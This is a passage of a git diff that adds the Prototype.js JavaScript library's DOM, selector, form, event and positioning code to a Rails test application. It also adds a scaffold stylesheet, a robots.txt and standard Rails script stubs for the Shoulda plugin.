} + return value == 'auto' ? null : value; + }, + + setStyle: function(element, style) { + element = $(element); + for (var name in style) { + var value = style[name]; + if(name == 'opacity') { + if (value == 1) { + value = (/Gecko/.test(navigator.userAgent) && + !/Konqueror|Safari|KHTML/.test(navigator.userAgent)) ? 0.999999 : 1.0; + if(/MSIE/.test(navigator.userAgent) && !window.opera) + element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,''); + } else if(value == '') { + if(/MSIE/.test(navigator.userAgent) && !window.opera) + element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,''); + } else { + if(value < 0.00001) value = 0; + if(/MSIE/.test(navigator.userAgent) && !window.opera) + element.style.filter = element.getStyle('filter').replace(/alpha\([^\)]*\)/gi,'') + + 'alpha(opacity='+value*100+')'; + } + } else if(['float','cssFloat'].include(name)) name = (typeof element.style.styleFloat != 'undefined') ? 'styleFloat' : 'cssFloat'; + element.style[name.camelize()] = value; + } + return element; + }, + + getDimensions: function(element) { + element = $(element); + var display = $(element).getStyle('display'); + if (display != 'none' && display != null) // Safari bug + return {width: element.offsetWidth, height: element.offsetHeight}; + + // All *Width and *Height properties give 0 on elements with display none, + // so enable the element temporarily + var els = element.style; + var originalVisibility = els.visibility; + var originalPosition = els.position; + var originalDisplay = els.display; + els.visibility = 'hidden'; + els.position = 'absolute'; + els.display = 'block'; + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + els.display = originalDisplay; + els.position = originalPosition; + els.visibility = originalVisibility; + return {width: originalWidth, height: originalHeight}; + }, + + makePositioned: function(element) { + element = $(element); + var pos = Element.getStyle(element, 'position'); + if (pos == 'static' || !pos) { + element._madePositioned = true; + element.style.position = 'relative'; + // Opera returns the offset relative to the positioning context, when an + // element is position relative but top and left have not been defined + if (window.opera) { + element.style.top = 0; + element.style.left = 0; + } + } + return element; + }, + + undoPositioned: function(element) { + element = $(element); + if (element._madePositioned) { + element._madePositioned = undefined; + element.style.position = + element.style.top = + element.style.left = + element.style.bottom = + element.style.right = ''; + } + return element; + }, + + makeClipping: function(element) { + element = $(element); + if (element._overflow) return element; + element._overflow = element.style.overflow || 'auto'; + if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') + element.style.overflow = 'hidden'; + return element; + }, + + undoClipping: function(element) { + element = $(element); + if (!element._overflow) return element; + element.style.overflow = element._overflow == 'auto' ? '' : element._overflow; + element._overflow = null; + return element; + } +}; + +Object.extend(Element.Methods, {childOf: Element.Methods.descendantOf}); + +Element._attributeTranslations = {}; + +Element._attributeTranslations.names = { + colspan: "colSpan", + rowspan: "rowSpan", + valign: "vAlign", + datetime: "dateTime", + accesskey: "accessKey", + tabindex: "tabIndex", + enctype: "encType", + maxlength: "maxLength", + readonly: "readOnly", + longdesc: "longDesc" +}; + +Element._attributeTranslations.values = { + _getAttr: function(element, attribute) { + return element.getAttribute(attribute, 2); + }, + + _flag: function(element, attribute) { + return $(element).hasAttribute(attribute) ? attribute : null; + }, + + style: function(element) { + return element.style.cssText.toLowerCase(); + }, + + title: function(element) { + var node = element.getAttributeNode('title'); + return node.specified ? node.nodeValue : null; + } +}; + +Object.extend(Element._attributeTranslations.values, { + href: Element._attributeTranslations.values._getAttr, + src: Element._attributeTranslations.values._getAttr, + disabled: Element._attributeTranslations.values._flag, + checked: Element._attributeTranslations.values._flag, + readonly: Element._attributeTranslations.values._flag, + multiple: Element._attributeTranslations.values._flag +}); + +Element.Methods.Simulated = { + hasAttribute: function(element, attribute) { + var t = Element._attributeTranslations; + attribute = t.names[attribute] || attribute; + return $(element).getAttributeNode(attribute).specified; + } +}; + +// IE is missing .innerHTML support for TABLE-related elements +if (document.all && !window.opera){ + Element.Methods.update = function(element, html) { + element = $(element); + html = typeof html == 'undefined' ? '' : html.toString(); + var tagName = element.tagName.toUpperCase(); + if (['THEAD','TBODY','TR','TD'].include(tagName)) { + var div = document.createElement('div'); + switch (tagName) { + case 'THEAD': + case 'TBODY': + div.innerHTML = '' + html.stripScripts() + '
    '; + depth = 2; + break; + case 'TR': + div.innerHTML = '' + html.stripScripts() + '
    '; + depth = 3; + break; + case 'TD': + div.innerHTML = '
    ' + html.stripScripts() + '
    '; + depth = 4; + } + $A(element.childNodes).each(function(node){ + element.removeChild(node) + }); + depth.times(function(){ div = div.firstChild }); + + $A(div.childNodes).each( + function(node){ element.appendChild(node) }); + } else { + element.innerHTML = html.stripScripts(); + } + setTimeout(function() {html.evalScripts()}, 10); + return element; + } +}; + +Object.extend(Element, Element.Methods); + +var _nativeExtensions = false; + +if(/Konqueror|Safari|KHTML/.test(navigator.userAgent)) + ['', 'Form', 'Input', 'TextArea', 'Select'].each(function(tag) { + var className = 'HTML' + tag + 'Element'; + if(window[className]) return; + var klass = window[className] = {}; + klass.prototype = document.createElement(tag ? tag.toLowerCase() : 'div').__proto__; + }); + +Element.addMethods = function(methods) { + Object.extend(Element.Methods, methods || {}); + + function copy(methods, destination, onlyIfAbsent) { + onlyIfAbsent = onlyIfAbsent || false; + var cache = Element.extend.cache; + for (var property in methods) { + var value = methods[property]; + if (!onlyIfAbsent || !(property in destination)) + destination[property] = cache.findOrStore(value); + } + } + + if (typeof HTMLElement != 'undefined') { + copy(Element.Methods, HTMLElement.prototype); + copy(Element.Methods.Simulated, HTMLElement.prototype, true); + copy(Form.Methods, HTMLFormElement.prototype); + [HTMLInputElement, HTMLTextAreaElement, HTMLSelectElement].each(function(klass) { + copy(Form.Element.Methods, klass.prototype); + }); + _nativeExtensions = true; + } +} + +var Toggle = new Object(); +Toggle.display = Element.toggle; + +/*--------------------------------------------------------------------------*/ + +Abstract.Insertion = function(adjacency) { + this.adjacency = adjacency; +} + +Abstract.Insertion.prototype = { + initialize: function(element, content) { + this.element = $(element); + this.content = content.stripScripts(); + + if (this.adjacency && this.element.insertAdjacentHTML) { + try { + this.element.insertAdjacentHTML(this.adjacency, this.content); + } catch (e) { + var tagName = this.element.tagName.toUpperCase(); + if (['TBODY', 'TR'].include(tagName)) { + this.insertContent(this.contentFromAnonymousTable()); + } else { + throw e; + } + } + } else { + this.range = this.element.ownerDocument.createRange(); + if (this.initializeRange) this.initializeRange(); + this.insertContent([this.range.createContextualFragment(this.content)]); + } + + setTimeout(function() {content.evalScripts()}, 10); + }, + + contentFromAnonymousTable: function() { + var div = document.createElement('div'); + div.innerHTML = '' + this.content + '
    '; + return $A(div.childNodes[0].childNodes[0].childNodes); + } +} + +var Insertion = new Object(); + +Insertion.Before = Class.create(); +Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), { + initializeRange: function() { + this.range.setStartBefore(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, this.element); + }).bind(this)); + } +}); + +Insertion.Top = Class.create(); +Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(true); + }, + + insertContent: function(fragments) { + fragments.reverse(false).each((function(fragment) { + this.element.insertBefore(fragment, this.element.firstChild); + }).bind(this)); + } +}); + +Insertion.Bottom = Class.create(); +Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.appendChild(fragment); + }).bind(this)); + } +}); + +Insertion.After = Class.create(); +Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), { + initializeRange: function() { + this.range.setStartAfter(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, + this.element.nextSibling); + }).bind(this)); + } +}); + +/*--------------------------------------------------------------------------*/ + +Element.ClassNames = Class.create(); +Element.ClassNames.prototype = { + initialize: function(element) { + this.element = $(element); + }, + + _each: function(iterator) { + this.element.className.split(/\s+/).select(function(name) { + return name.length > 0; + })._each(iterator); + }, + + set: function(className) { + this.element.className = className; + }, + + add: function(classNameToAdd) { + if (this.include(classNameToAdd)) return; + this.set($A(this).concat(classNameToAdd).join(' ')); + }, + + remove: function(classNameToRemove) { + if (!this.include(classNameToRemove)) return; + this.set($A(this).without(classNameToRemove).join(' ')); + }, + + toString: function() { + return $A(this).join(' '); + } +}; + +Object.extend(Element.ClassNames.prototype, Enumerable); +var Selector = Class.create(); +Selector.prototype = { + initialize: function(expression) { + this.params = {classNames: []}; + this.expression = expression.toString().strip(); + this.parseExpression(); + this.compileMatcher(); + }, + + parseExpression: function() { + function abort(message) { throw 'Parse error in selector: ' + message; } + + if (this.expression == '') abort('empty expression'); + + var params = this.params, expr = this.expression, match, modifier, clause, rest; + while (match = expr.match(/^(.*)\[([a-z0-9_:-]+?)(?:([~\|!]?=)(?:"([^"]*)"|([^\]\s]*)))?\]$/i)) { + params.attributes = params.attributes || []; + params.attributes.push({name: match[2], operator: match[3], value: match[4] || match[5] || ''}); + expr = match[1]; + } + + if (expr == '*') return this.params.wildcard = true; + + while (match = expr.match(/^([^a-z0-9_-])?([a-z0-9_-]+)(.*)/i)) { + modifier = match[1], clause = match[2], rest = match[3]; + switch (modifier) { + case '#': params.id = clause; break; + case '.': params.classNames.push(clause); break; + case '': + case undefined: params.tagName = clause.toUpperCase(); break; + default: abort(expr.inspect()); + } + expr = rest; + } + + if (expr.length > 0) abort(expr.inspect()); + }, + + buildMatchExpression: function() { + var params = this.params, conditions = [], clause; + + if (params.wildcard) + conditions.push('true'); + if (clause = params.id) + conditions.push('element.readAttribute("id") == ' + clause.inspect()); + if (clause = params.tagName) + conditions.push('element.tagName.toUpperCase() == ' + clause.inspect()); + if ((clause = params.classNames).length > 0) + for (var i = 0, length = clause.length; i < length; i++) + conditions.push('element.hasClassName(' + clause[i].inspect() + ')'); + if (clause = params.attributes) { + clause.each(function(attribute) { + var value = 'element.readAttribute(' + attribute.name.inspect() + ')'; + var splitValueBy = function(delimiter) { + return value + ' && ' + value + '.split(' + delimiter.inspect() + ')'; + } + + switch (attribute.operator) { + case '=': conditions.push(value + ' == ' + attribute.value.inspect()); break; + case '~=': conditions.push(splitValueBy(' ') + '.include(' + attribute.value.inspect() + ')'); break; + case '|=': conditions.push( + splitValueBy('-') + '.first().toUpperCase() == ' + attribute.value.toUpperCase().inspect() + ); break; + case '!=': conditions.push(value + ' != ' + attribute.value.inspect()); break; + case '': + case undefined: conditions.push('element.hasAttribute(' + attribute.name.inspect() + ')'); break; + default: throw 'Unknown operator ' + attribute.operator + ' in selector'; + } + }); + } + + return conditions.join(' && '); + }, + + compileMatcher: function() { + this.match = new Function('element', 'if (!element.tagName) return false; \ + element = $(element); \ + return ' + this.buildMatchExpression()); + }, + + findElements: function(scope) { + var element; + + if (element = $(this.params.id)) + if (this.match(element)) + if (!scope || Element.childOf(element, scope)) + return [element]; + + scope = (scope || document).getElementsByTagName(this.params.tagName || '*'); + + var results = []; + for (var i = 0, length = scope.length; i < length; i++) + if (this.match(element = scope[i])) + results.push(Element.extend(element)); + + return results; + }, + + toString: function() { + return this.expression; + } +} + +Object.extend(Selector, { + matchElements: function(elements, expression) { + var selector = new Selector(expression); + return elements.select(selector.match.bind(selector)).map(Element.extend); + }, + + findElement: function(elements, expression, index) { + if (typeof expression == 'number') index = expression, expression = false; + return Selector.matchElements(elements, expression || '*')[index || 0]; + }, + + findChildElements: function(element, expressions) { + return expressions.map(function(expression) { + return expression.match(/[^\s"]+(?:"[^"]*"[^\s"]+)*/g).inject([null], function(results, expr) { + var selector = new Selector(expr); + return results.inject([], function(elements, result) { + return elements.concat(selector.findElements(result || element)); + }); + }); + }).flatten(); + } +}); + +function $$() { + return Selector.findChildElements(document, $A(arguments)); +} +var Form = { + reset: function(form) { + $(form).reset(); + return form; + }, + + serializeElements: function(elements, getHash) { + var data = elements.inject({}, function(result, element) { + if (!element.disabled && element.name) { + var key = element.name, value = $(element).getValue(); + if (value != undefined) { + if (result[key]) { + if (result[key].constructor != Array) result[key] = [result[key]]; + result[key].push(value); + } + else result[key] = value; + } + } + return result; + }); + + return getHash ? data : Hash.toQueryString(data); + } +}; + +Form.Methods = { + serialize: function(form, getHash) { + return Form.serializeElements(Form.getElements(form), getHash); + }, + + getElements: function(form) { + return $A($(form).getElementsByTagName('*')).inject([], + function(elements, child) { + if (Form.Element.Serializers[child.tagName.toLowerCase()]) + elements.push(Element.extend(child)); + return elements; + } + ); + }, + + getInputs: function(form, typeName, name) { + form = $(form); + var inputs = form.getElementsByTagName('input'); + + if (!typeName && !name) return $A(inputs).map(Element.extend); + + for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) { + var input = inputs[i]; + if ((typeName && input.type != typeName) || (name && input.name != name)) + continue; + matchingInputs.push(Element.extend(input)); + } + + return matchingInputs; + }, + + disable: function(form) { + form = $(form); + form.getElements().each(function(element) { + element.blur(); + element.disabled = 'true'; + }); + return form; + }, + + enable: function(form) { + form = $(form); + form.getElements().each(function(element) { + element.disabled = ''; + }); + return form; + }, + + findFirstElement: function(form) { + return $(form).getElements().find(function(element) { + return element.type != 'hidden' && !element.disabled && + ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); + }); + }, + + focusFirstElement: function(form) { + form = $(form); + form.findFirstElement().activate(); + return form; + } +} + +Object.extend(Form, Form.Methods); + +/*--------------------------------------------------------------------------*/ + +Form.Element = { + focus: function(element) { + $(element).focus(); + return element; + }, + + select: function(element) { + $(element).select(); + return element; + } +} + +Form.Element.Methods = { + serialize: function(element) { + element = $(element); + if (!element.disabled && element.name) { + var value = element.getValue(); + if (value != undefined) { + var pair = {}; + pair[element.name] = value; + return Hash.toQueryString(pair); + } + } + return ''; + }, + + getValue: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + return Form.Element.Serializers[method](element); + }, + + clear: function(element) { + $(element).value = ''; + return element; + }, + + present: function(element) { + return $(element).value != ''; + }, + + activate: function(element) { + element = $(element); + element.focus(); + if (element.select && ( element.tagName.toLowerCase() != 'input' || + !['button', 'reset', 'submit'].include(element.type) ) ) + element.select(); + return element; + }, + + disable: function(element) { + element = $(element); + element.disabled = true; + return element; + }, + + enable: function(element) { + element = $(element); + element.blur(); + element.disabled = false; + return element; + } +} + +Object.extend(Form.Element, Form.Element.Methods); +var Field = Form.Element; +var $F = Form.Element.getValue; + +/*--------------------------------------------------------------------------*/ + +Form.Element.Serializers = { + input: function(element) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element); + default: + return Form.Element.Serializers.textarea(element); + } + }, + + inputSelector: function(element) { + return element.checked ? element.value : null; + }, + + textarea: function(element) { + return element.value; + }, + + select: function(element) { + return this[element.type == 'select-one' ? + 'selectOne' : 'selectMany'](element); + }, + + selectOne: function(element) { + var index = element.selectedIndex; + return index >= 0 ? this.optionValue(element.options[index]) : null; + }, + + selectMany: function(element) { + var values, length = element.length; + if (!length) return null; + + for (var i = 0, values = []; i < length; i++) { + var opt = element.options[i]; + if (opt.selected) values.push(this.optionValue(opt)); + } + return values; + }, + + optionValue: function(opt) { + // extend element because hasAttribute may not be native + return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text; + } +} + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = function() {} +Abstract.TimedObserver.prototype = { + initialize: function(element, frequency, callback) { + this.frequency = frequency; + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + var value = this.getValue(); + var changed = ('string' == typeof this.lastValue && 'string' == typeof value + ? this.lastValue != value : String(this.lastValue) != String(value)); + if (changed) { + this.callback(this.element, value); + this.lastValue = value; + } + } +} + +Form.Element.Observer = Class.create(); +Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(); +Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); + +/*--------------------------------------------------------------------------*/ + +Abstract.EventObserver = function() {} +Abstract.EventObserver.prototype = { + initialize: function(element, callback) { + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + if (this.element.tagName.toLowerCase() == 'form') + this.registerFormCallbacks(); + else + this.registerCallback(this.element); + }, + + onElementEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + }, + + registerFormCallbacks: function() { + Form.getElements(this.element).each(this.registerCallback.bind(this)); + }, + + registerCallback: function(element) { + if (element.type) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + Event.observe(element, 'click', this.onElementEvent.bind(this)); + break; + default: + Event.observe(element, 'change', this.onElementEvent.bind(this)); + break; + } + } + } +} + +Form.Element.EventObserver = Class.create(); +Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.EventObserver = Class.create(); +Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); +if (!window.Event) { + var Event = new Object(); +} + +Object.extend(Event, { + KEY_BACKSPACE: 8, + KEY_TAB: 9, + KEY_RETURN: 13, + KEY_ESC: 27, + KEY_LEFT: 37, + KEY_UP: 38, + KEY_RIGHT: 39, + KEY_DOWN: 40, + KEY_DELETE: 46, + KEY_HOME: 36, + KEY_END: 35, + KEY_PAGEUP: 33, + KEY_PAGEDOWN: 34, + + element: function(event) { + return event.target || event.srcElement; + }, + + isLeftClick: function(event) { + return (((event.which) && (event.which == 1)) || + ((event.button) && (event.button == 1))); + }, + + pointerX: function(event) { + return event.pageX || (event.clientX + + (document.documentElement.scrollLeft || document.body.scrollLeft)); + }, + + pointerY: function(event) { + return event.pageY || (event.clientY + + (document.documentElement.scrollTop || document.body.scrollTop)); + }, + + stop: function(event) { + if (event.preventDefault) { + event.preventDefault(); + event.stopPropagation(); + } else { + event.returnValue = false; + event.cancelBubble = true; + } + }, + + // find the first node with the given tagName, starting from the + // node the event was triggered on; traverses the DOM upwards + findElement: function(event, tagName) { + var element = Event.element(event); + while (element.parentNode && (!element.tagName || + (element.tagName.toUpperCase() != tagName.toUpperCase()))) + element = element.parentNode; + return element; + }, + + observers: false, + + _observeAndCache: function(element, name, observer, useCapture) { + if (!this.observers) this.observers = []; + if (element.addEventListener) { + this.observers.push([element, name, observer, useCapture]); + element.addEventListener(name, observer, useCapture); + } else if (element.attachEvent) { + this.observers.push([element, name, observer, useCapture]); + element.attachEvent('on' + name, observer); + } + }, + + unloadCache: function() { + if (!Event.observers) return; + for (var i = 0, length = Event.observers.length; i < length; i++) { + Event.stopObserving.apply(this, Event.observers[i]); + Event.observers[i][0] = null; + } + Event.observers = false; + }, + + observe: function(element, name, observer, useCapture) { + element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.attachEvent)) + name = 'keydown'; + + Event._observeAndCache(element, name, observer, useCapture); + }, + + stopObserving: function(element, name, observer, useCapture) { + element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.detachEvent)) + name = 'keydown'; + + if (element.removeEventListener) { + element.removeEventListener(name, observer, useCapture); + } else if (element.detachEvent) { + try { + element.detachEvent('on' + name, observer); + } catch (e) {} + } + } +}); + +/* prevent memory leaks in IE */ +if (navigator.appVersion.match(/\bMSIE\b/)) + Event.observe(window, 'unload', Event.unloadCache, false); +var Position = { + // set to true if needed, warning: firefox performance problems + // NOT neeeded for page scrolling, only if draggable contained in + // scrollable elements + includeScrollOffsets: false, + + // must be called before calling withinIncludingScrolloffset, every time the + // page is scrolled + prepare: function() { + this.deltaX = window.pageXOffset + || document.documentElement.scrollLeft + || document.body.scrollLeft + || 0; + this.deltaY = window.pageYOffset + || document.documentElement.scrollTop + || document.body.scrollTop + || 0; + }, + + realOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.scrollTop || 0; + valueL += element.scrollLeft || 0; + element = element.parentNode; + } while (element); + return [valueL, valueT]; + }, + + cumulativeOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return [valueL, valueT]; + }, + + positionedOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + if (element) { + if(element.tagName=='BODY') break; + var p = Element.getStyle(element, 'position'); + if (p == 'relative' || p == 'absolute') break; + } + } while (element); + return [valueL, valueT]; + }, + + offsetParent: function(element) { + if (element.offsetParent) return element.offsetParent; + if (element == document.body) return element; + + while ((element = element.parentNode) && element != document.body) + if (Element.getStyle(element, 'position') != 'static') + return element; + + return document.body; + }, + + // caches x/y coordinate pair to use with overlap + within: function(element, x, y) { + if (this.includeScrollOffsets) + return this.withinIncludingScrolloffsets(element, x, y); + this.xcomp = x; + this.ycomp = y; + this.offset = this.cumulativeOffset(element); + + return (y >= this.offset[1] && + y < this.offset[1] + element.offsetHeight && + x >= this.offset[0] && + x < this.offset[0] + element.offsetWidth); + }, + + withinIncludingScrolloffsets: function(element, x, y) { + var offsetcache = this.realOffset(element); + + this.xcomp = x + offsetcache[0] - this.deltaX; + this.ycomp = y + offsetcache[1] - this.deltaY; + this.offset = this.cumulativeOffset(element); + + return (this.ycomp >= this.offset[1] && + this.ycomp < this.offset[1] + element.offsetHeight && + this.xcomp >= this.offset[0] && + this.xcomp < this.offset[0] + element.offsetWidth); + }, + + // within must be called directly before + overlap: function(mode, element) { + if (!mode) return 0; + if (mode == 'vertical') + return ((this.offset[1] + element.offsetHeight) - this.ycomp) / + element.offsetHeight; + if (mode == 'horizontal') + return ((this.offset[0] + element.offsetWidth) - this.xcomp) / + element.offsetWidth; + }, + + page: function(forElement) { + var valueT = 0, valueL = 0; + + var element = forElement; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + + // Safari fix + if (element.offsetParent==document.body) + if (Element.getStyle(element,'position')=='absolute') break; + + } while (element = element.offsetParent); + + element = forElement; + do { + if (!window.opera || element.tagName=='BODY') { + valueT -= element.scrollTop || 0; + valueL -= element.scrollLeft || 0; + } + } while (element = element.parentNode); + + return [valueL, valueT]; + }, + + clone: function(source, target) { + var options = Object.extend({ + setLeft: true, + setTop: true, + setWidth: true, + setHeight: true, + offsetTop: 0, + offsetLeft: 0 + }, arguments[2] || {}) + + // find page position of source + source = $(source); + var p = Position.page(source); + + // find coordinate system to use + target = $(target); + var delta = [0, 0]; + var parent = null; + // delta [0,0] will do fine with position: fixed elements, + // position:absolute needs offsetParent deltas + if (Element.getStyle(target,'position') == 'absolute') { + parent = Position.offsetParent(target); + delta = Position.page(parent); + } + + // correct by body offsets (fixes Safari) + if (parent == document.body) { + delta[0] -= document.body.offsetLeft; + delta[1] -= document.body.offsetTop; + } + + // set position + if(options.setLeft) target.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; + if(options.setTop) target.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; + if(options.setWidth) target.style.width = source.offsetWidth + 'px'; + if(options.setHeight) target.style.height = source.offsetHeight + 'px'; + }, + + absolutize: function(element) { + element = $(element); + if (element.style.position == 'absolute') return; + Position.prepare(); + + var offsets = Position.positionedOffset(element); + var top = offsets[1]; + var left = offsets[0]; + var width = element.clientWidth; + var height = element.clientHeight; + + element._originalLeft = left - parseFloat(element.style.left || 0); + element._originalTop = top - parseFloat(element.style.top || 0); + element._originalWidth = element.style.width; + element._originalHeight = element.style.height; + + element.style.position = 'absolute'; + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.width = width + 'px'; + element.style.height = height + 'px'; + }, + + relativize: function(element) { + element = $(element); + if (element.style.position == 'relative') return; + Position.prepare(); + + element.style.position = 'relative'; + var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); + var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); + + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.height = element._originalHeight; + element.style.width = element._originalWidth; + } +} + +// Safari returns margins on body which is incorrect if the child is absolutely +// positioned. For performance reasons, redefine Position.cumulativeOffset for +// KHTML/WebKit only. +if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) { + Position.cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + if (element.offsetParent == document.body) + if (Element.getStyle(element, 'position') == 'absolute') break; + + element = element.offsetParent; + } while (element); + + return [valueL, valueT]; + } +} + +Element.addMethods(); \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/robots.txt b/vendor/plugins/shoulda/test/rails_root/public/robots.txt new file mode 100644 index 0000000..4ab9e89 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/robots.txt @@ -0,0 +1 @@ +# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/stylesheets/scaffold.css b/vendor/plugins/shoulda/test/rails_root/public/stylesheets/scaffold.css new file mode 100644 index 0000000..8f239a3 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/stylesheets/scaffold.css @@ -0,0 +1,74 @@ +body { background-color: #fff; color: #333; } + +body, p, ol, ul, td { + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; +} + +pre { + background-color: #eee; + padding: 10px; + font-size: 11px; +} + +a { color: #000; } +a:visited { color: #666; } +a:hover { color: #fff; background-color:#000; } + +.fieldWithErrors { + padding: 2px; + background-color: red; + display: table; +} + +#errorExplanation { + width: 400px; + border: 2px solid red; + padding: 7px; + padding-bottom: 12px; + margin-bottom: 20px; + background-color: #f0f0f0; +} + +#errorExplanation h2 { + text-align: left; + font-weight: bold; + padding: 5px 5px 5px 15px; + font-size: 12px; + margin: -7px; + background-color: #c00; + color: #fff; +} + +#errorExplanation p { + color: #333; + margin-bottom: 0; + padding: 5px; +} + +#errorExplanation ul li { + font-size: 12px; + list-style: square; +} + +div.uploadStatus { + margin: 5px; +} + +div.progressBar { + margin: 5px; +} + +div.progressBar div.border { + background-color: #fff; + border: 1px solid grey; + width: 100%; +} + +div.progressBar div.background { + background-color: #333; + height: 18px; + width: 0%; +} + diff --git a/vendor/plugins/shoulda/test/rails_root/script/about b/vendor/plugins/shoulda/test/rails_root/script/about new file mode 100755 index 0000000..7b07d46 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/about @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/about' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/script/breakpointer b/vendor/plugins/shoulda/test/rails_root/script/breakpointer new file mode 100755 index 0000000..64af76e --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/breakpointer @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/breakpointer' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/script/console b/vendor/plugins/shoulda/test/rails_root/script/console new file mode 100755 index 0000000..42f28f7 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/console @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/console' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/script/destroy b/vendor/plugins/shoulda/test/rails_root/script/destroy new file mode 100755 index 0000000..fa0e6fc --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/destroy @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/destroy' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/script/generate b/vendor/plugins/shoulda/test/rails_root/script/generate new file mode 100755 index 0000000..ef976e0 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/generate @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/generate' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/script/performance/benchmarker b/vendor/plugins/shoulda/test/rails_root/script/performance/benchmarker new file mode 100755 index 0000000..c842d35 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/performance/benchmarker @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/performance/benchmarker' diff --git a/vendor/plugins/shoulda/test/rails_root/script/performance/profiler b/vendor/plugins/shoulda/test/rails_root/script/performance/profiler new file mode 100755 index 0000000..d855ac8 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/performance/profiler @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/performance/profiler' diff --git a/vendor/plugins/shoulda/test/rails_root/script/plugin b/vendor/plugins/shoulda/test/rails_root/script/plugin new file mode 100755 index 0000000..26ca64c --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/plugin @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/plugin' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/script/process/inspector b/vendor/plugins/shoulda/test/rails_root/script/process/inspector new file mode 100755 index 0000000..bf25ad8 --- /dev/null +++ 